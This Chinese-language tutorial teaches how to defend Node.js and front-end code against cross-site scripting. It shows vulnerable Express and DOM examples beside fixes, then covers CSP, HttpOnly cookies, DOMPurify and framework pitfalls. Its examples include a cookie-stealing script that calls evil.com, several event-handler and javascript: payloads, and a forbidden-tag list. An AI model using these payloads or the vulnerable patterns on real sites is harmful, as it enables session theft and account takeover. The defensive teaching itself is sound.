全部学科
NodeJS全栈
nodejs
Python全栈
python
小程序首页
📅 2026-05-16 10 分钟 ✍️ juanwangdev

跨站脚本攻击(XSS)防御

XSS是最常见的Web安全漏洞,攻击者注入恶意脚本窃取用户信息或执行恶意操作。

XSS攻击类型

反射型XSS

恶意脚本通过URL参数注入,服务器反射回响应中。

JavaScript
// 危险代码:直接使用URL参数
app.get('/search', (req, res) => {
  const query = req.query.q;
  res.send(`<h1>搜索结果: ${query}</h1>`); // XSS漏洞
});

// 攻击URL
// /search?q=<script>fetch('https://evil.com?cookie='+document.cookie)</script>
JavaScript
// 安全代码:输出编码
app.get('/search', (req, res) => {
  const query = escapeHtml(req.query.q);
  res.send(`<h1>搜索结果: ${query}</h1>`);
});

function escapeHtml(str) {
  return String(str).replace(/[&<>"'/]/g, c => ({
    '&': '&amp;', '<': '&lt;', '>': '&gt;',
    '"': '&quot;', "'": '&#x27;', '/': '&#x2F;'
  }[c]));
}

存储型XSS

恶意脚本存储在服务器(数据库、文件),每次访问都会执行。

JavaScript
// 危险代码:存储并直接显示用户内容
app.post('/comment', (req, res) => {
  const comment = req.body.content;
  db.saveComment(comment); // 直接存储
});

app.get('/comments', (req, res) => {
  const comments = db.getComments();
  res.send(comments.map(c => `<div>${c.content}</div>`).join(''));
  // XSS漏洞:存储的恶意脚本直接输出
});
JavaScript
// 安全代码:存储时净化或显示时编码
import DOMPurify from 'dompurify';

app.post('/comment', (req, res) => {
  // 方案1:存储时净化(允许安全HTML)
  const cleanContent = DOMPurify.sanitize(req.body.content, {
    ALLOWED_TAGS: ['b', 'i', 'em', 'strong', 'p', 'br'],
    ALLOWED_ATTR: []
  });
  db.saveComment(cleanContent);
});

// 方案2:显示时编码(纯文本)
app.get('/comments', (req, res) => {
  const comments = db.getComments();
  res.send(comments.map(c =>
    `<div>${escapeHtml(c.content)}</div>`
  ).join(''));
});

DOM型XSS

恶意脚本通过JavaScript操作DOM注入,不经过服务器。

JavaScript
// 危险代码:直接使用location.hash
const content = location.hash.slice(1);
document.getElementById('output').innerHTML = decodeURIComponent(content);

// 攻击URL
// https://example.com#<img src=x onerror=alert(1)>
JavaScript
// 安全代码:使用textContent或编码
const content = location.hash.slice(1);
document.getElementById('output').textContent = decodeURIComponent(content);

// 或使用安全的innerHTML设置
const content = location.hash.slice(1);
document.getElementById('output').textContent = decodeURIComponent(content);

防御策略

1. 输出编码

根据上下文选择正确的编码方式。

JavaScript
// HTML上下文编码
function escapeHtml(str) {
  const map = {
    '&': '&amp;', '<': '&lt;', '>': '&gt;',
    '"': '&quot;', "'": '&#x27;', '/': '&#x2F;'
  };
  return String(str).replace(/[&<>"'/]/g, c => map[c]);
}

// JavaScript上下文编码
function escapeJs(str) {
  return String(str).replace(/[\\'"<>]/g, c =>
    '\\x' + c.charCodeAt(0).toString(16).padStart(2, '0')
  );
}

// URL上下文编码
function encodeUrl(str) {
  return encodeURIComponent(str);
}

2. 内容安全策略(CSP)

CSP限制脚本执行来源,有效防止XSS。

JavaScript
// Express设置CSP头
app.use((req, res, next) => {
  res.setHeader('Content-Security-Policy',
    "default-src 'self'; " +
    "script-src 'self' https://trusted.cdn.com; " +
    "style-src 'self' 'unsafe-inline'; " +
    "img-src 'self' data: https:; " +
    "font-src 'self'; " +
    "connect-src 'self' https://api.example.com; " +
    "frame-ancestors 'none'; " +
    "base-uri 'self'; " +
    "form-action 'self'"
  );
  next();
});
HTML
<!-- HTML meta标签设置 -->
<meta http-equiv="Content-Security-Policy"
      content="default-src 'self'; script-src 'self'">

CSP指令说明

指令作用
default-src默认资源来源
script-srcJavaScript来源
style-srcCSS来源
img-src图片来源
connect-srcAJAX/WebSocket来源
frame-ancestors嵌套来源(防点击劫持)

3. HttpOnly Cookie

防止JavaScript读取敏感Cookie。

JavaScript
// 设置HttpOnly Cookie
app.use(session({
  secret: process.env.SESSION_SECRET,
  cookie: {
    httpOnly: true,  // JavaScript无法读取
    secure: true,    // 仅HTTPS传输
    sameSite: 'strict'
  }
}));

// 或手动设置
res.cookie('sessionId', token, {
  httpOnly: true,
  secure: true,
  sameSite: 'strict'
});

4. 输入净化

使用专业库净化HTML输入。

JavaScript
import DOMPurify from 'dompurify';

// 基础净化
const clean = DOMPurify.sanitize(userInput);

// 严格净化:只允许部分标签
const strict = DOMPurify.sanitize(userInput, {
  ALLOWED_TAGS: ['b', 'i', 'em', 'strong', 'a'],
  ALLOWED_ATTR: ['href'],
  ALLOW_DATA_ATTR: false
});

// 移除所有HTML(纯文本)
const plainText = DOMPurify.sanitize(userInput, { ALLOWED_TAGS: [] });

5. 前端框架防护

现代框架自带XSS防护,但需正确使用。

jsx
// React:默认安全
function Safe({ name }) {
  return <div>{name}</div>; // 自动编码
}

// React:危险用法
function Unsafe({ html }) {
  return <div dangerouslySetInnerHTML={{ __html: html }} />; // 需净化
}

// React:安全使用dangerouslySetInnerHTML
function SafeHtml({ html }) {
  const clean = DOMPurify.sanitize(html);
  return <div dangerouslySetInnerHTML={{ __html: clean }} />;
}
vue
<!-- Vue默认安全 -->
<template>
  <div>{{ userInput }}</div> <!-- 自动编码 -->
</template>

<!-- Vue危险用法 -->
<template>
  <div v-html="userInput"></div> <!-- 需净化 -->
</template>

常见XSS向量

事件处理器

HTML
<!-- 危险:用户输入进入事件处理器 -->
<div onclick="showUser('${userInput}')">

<!-- 安全:使用data属性 -->
<div data-user="${escapeHtml(userInput)}" onclick="showUser(this.dataset.user)">

javascript:协议

HTML
<!-- 危险:javascript: URL -->
<a href="${userInput}">Link</a>

<!-- 安全:验证协议 -->
<a href="${safeUrl(userInput)}">Link</a>
JavaScript
function safeUrl(url) {
  const parsed = new URL(url, location.origin);
  if (!['http:', 'https:'].includes(parsed.protocol)) {
    return '#';
  }
  return parsed.href;
}

SVG/MathML

HTML
<!-- SVG中的XSS -->
<svg onload="alert(1)">

<!-- MathML中的XSS -->
<math><maction actiontype="statusline#http://evil.com" xlink:href="javascript:alert(1)">
JavaScript
// 净化时移除危险标签
DOMPurify.sanitize(input, {
  FORBID_TAGS: ['svg', 'math', 'script', 'iframe'],
  FORBID_ATTR: ['onerror', 'onload', 'onclick']
});

模板注入

JavaScript
// 危险:模板字符串注入
const template = `<div>${userInput}</div>`; // 用户输入含模板语法

// 安全:先编码
const safe = escapeHtml(userInput);
const template = `<div>${safe}</div>`;

XSS检测

自动化扫描

Bash
# 使用OWASP ZAP
zap-baseline.py -t https://example.com

# 使用NPM包
npm install -g xss-scan
xss-scan https://example.com

代码审查

JavaScript
// 高危模式搜索
// innerHTML, outerHTML, document.write
// dangerouslySetInnerHTML, v-html
// eval, new Function, setTimeout(string)
// javascript:, data: URL

防御检查清单

检查项要求
输出编码所有用户输入输出时编码
CSP配置严格的CSP策略
CookieHttpOnly + Secure + SameSite
输入净化允许HTML时使用DOMPurify
框架使用避免v-html、dangerouslySetInnerHTML
URL验证验证协议白名单
事件处理避免内联事件处理器

要点总结

XSS类型

  • 反射型:URL参数注入,即时执行
  • 存储型:数据库存储,持久危害
  • DOM型:前端JavaScript注入

防御核心

  • 输出编码是第一道防线
  • CSP提供深度防御
  • HttpOnly保护敏感Cookie
  • 使用框架默认防护
  • 避免不安全的API(innerHTML、eval等)

最佳实践

  • 所有输出点都必须编码
  • 配置严格的CSP
  • 使用DOMPurify净化HTML
  • 定期进行安全扫描

📝 发现内容有误?点击此处直接编辑

← 上一篇 安全编码实践
下一篇 → 跨站请求伪造(CSRF)防御
想查看更多题目和详细解析?
小程序提供完整的题库、模拟考试和详细解析
马上就来

长按或扫描二维码,立即体验

扫码体验小程序
马上就来
使用微信扫描二维码
立即体验完整题库